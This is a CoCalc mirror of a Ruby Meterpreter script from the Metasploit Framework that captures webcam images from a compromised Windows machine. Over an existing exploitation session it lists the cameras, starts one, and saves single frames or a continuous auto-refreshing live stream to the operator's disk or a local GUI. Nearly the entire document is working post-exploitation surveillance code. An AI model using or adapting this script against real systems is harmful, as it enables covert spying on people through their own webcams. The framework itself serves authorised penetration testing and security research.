CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/scripts/meterpreter/webcam.rb
Views: 11768
1
##
2
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
3
# If you'd like to improve this script, please try to port it as a post
4
# module instead. Thank you.
5
##
6
7
8
# Author: scriptjunkie
9
#
10
# Simplify running webcam, whether grabbing a single frame or running
11
# a continuous loop.
12
13
@client = client
14
opts = Rex::Parser::Arguments.new(
15
"-h" => [ false, "Help menu" ],
16
"-f" => [ false, "Just grab single frame"],
17
"-l" => [ false, "Keep capturing in a loop (default)" ],
18
"-d" => [ true, "Loop delay interval (in ms, default 1000)" ],
19
"-i" => [ true, "The index of the webcam to use (Default: 1)" ],
20
"-q" => [ true, "The JPEG image quality (Default: 50)" ],
21
"-g" => [ false, "Send to GUI instead of writing to file" ],
22
"-s" => [ true, "Stop recording" ],
23
"-p" => [ true, "The path to the folder images will be saved in (Default: current working directory)" ],
24
"-a" => [ false, "Store copies of all the images capture instead of overwriting the same file (Default: overwrite single file)" ]
25
)
26
iterator = 0
27
folderpath = "."
28
single = false
29
quality = 50
30
index = 1
31
interval = 1000
32
gui = false
33
saveAll = false
34
opts.parse(args) { |opt, idx, val|
35
case opt
36
when "-h"
37
print_line "webcam -- view webcam over session"
38
print_line(opts.usage)
39
raise Rex::Script::Completed
40
when "-f"
41
single = true
42
when "-l"
43
single = false
44
when "-d"
45
interval = val.to_i
46
when "-i"
47
index = val.to_i
48
when "-q"
49
quality = val.to_i
50
when "-g"
51
gui = true
52
when "-p"
53
folderpath = val
54
when "-s"
55
print_line("[*] Stopping webcam")
56
client.webcam.webcam_stop
57
raise Rex::Script::Completed
58
when "-a"
59
saveAll = true
60
end
61
}
62
63
if client.platform != 'windows'
64
print_error("This version of Meterpreter is not supported with this Script!")
65
raise Rex::Script::Completed
66
end
67
begin
68
camlist = client.webcam.webcam_list
69
if camlist.length == 0
70
print_error("Error: no webcams found!")
71
raise Rex::Script::Completed
72
elsif camlist.length < index
73
print_error("Error: only #{camlist.length} webcams found!")
74
raise Rex::Script::Completed
75
end
76
print_line("[*] Starting webcam #{index}: #{camlist[index - 1]}")
77
client.webcam.webcam_start(index)
78
79
#prepare output
80
if(gui)
81
sock = Rex::Socket::Udp.create(
82
'PeerHost' => "127.0.0.1",
83
'PeerPort' => 16235
84
)
85
end
86
imagepath = folderpath + ::File::SEPARATOR + "webcam-" + iterator.to_s.rjust(5, "0") + ".jpg"
87
print_line( "[*] imagepath is #{imagepath}" )
88
htmlpath = folderpath + ::File::SEPARATOR + "webcam.htm"
89
begin
90
if single == true
91
data = client.webcam.webcam_get_frame(quality)
92
if(gui)
93
sock.write(data)
94
else
95
::File.open( imagepath, 'wb' ) do |fd|
96
fd.write( data )
97
end
98
path = ::File.expand_path( imagepath )
99
print_line( "[*] Image saved to : #{path}" )
100
Rex::Compat.open_file( path )
101
end
102
else
103
if(!gui)
104
::File.open(htmlpath, 'wb' ) do |fd|
105
htmlOut = "<html><body><img src=\"webcam-" + iterator.to_s.rjust(5, "0") + ".jpg\"></img><script>setInterval('location.reload()',#{interval});</script></body><html>"
106
fd.write(htmlOut)
107
end
108
print_line( "[*] View live stream at: #{htmlpath}" )
109
Rex::Compat.open_file(htmlpath)
110
print_line( "[*] Image saved to : #{imagepath}" )
111
end
112
while true do
113
data = client.webcam.webcam_get_frame(quality)
114
if(gui)
115
sock.write(data)
116
else
117
::File.open( imagepath, 'wb' ) do |fd|
118
fd.write( data )
119
::File.open(htmlpath, 'wb' ) do |fd|
120
htmlOut = "<html><body><img src=\"webcam-" + iterator.to_s.rjust(5, "0") + ".jpg\"></img><script>setInterval('location.reload()',#{interval});</script></body><html>"
121
fd.write(htmlOut)
122
if(saveAll)
123
iterator = iterator + 1
124
imagepath = folderpath + ::File::SEPARATOR + "webcam-" + iterator.to_s.rjust(5, "0") + ".jpg"
125
end
126
end
127
end
128
end
129
select(nil, nil, nil, interval/1000.0)
130
end
131
end
132
rescue ::Interrupt
133
rescue ::Exception => e
134
print_error("Error getting frame: #{e.class} #{e} #{e.backtrace}")
135
end
136
print_line("[*] Stopping webcam")
137
client.webcam.webcam_stop
138
sock.close if sock != nil
139
rescue ::Exception => e
140
print_error("Error: #{e.class} #{e} #{e.backtrace}")
141
end
142
143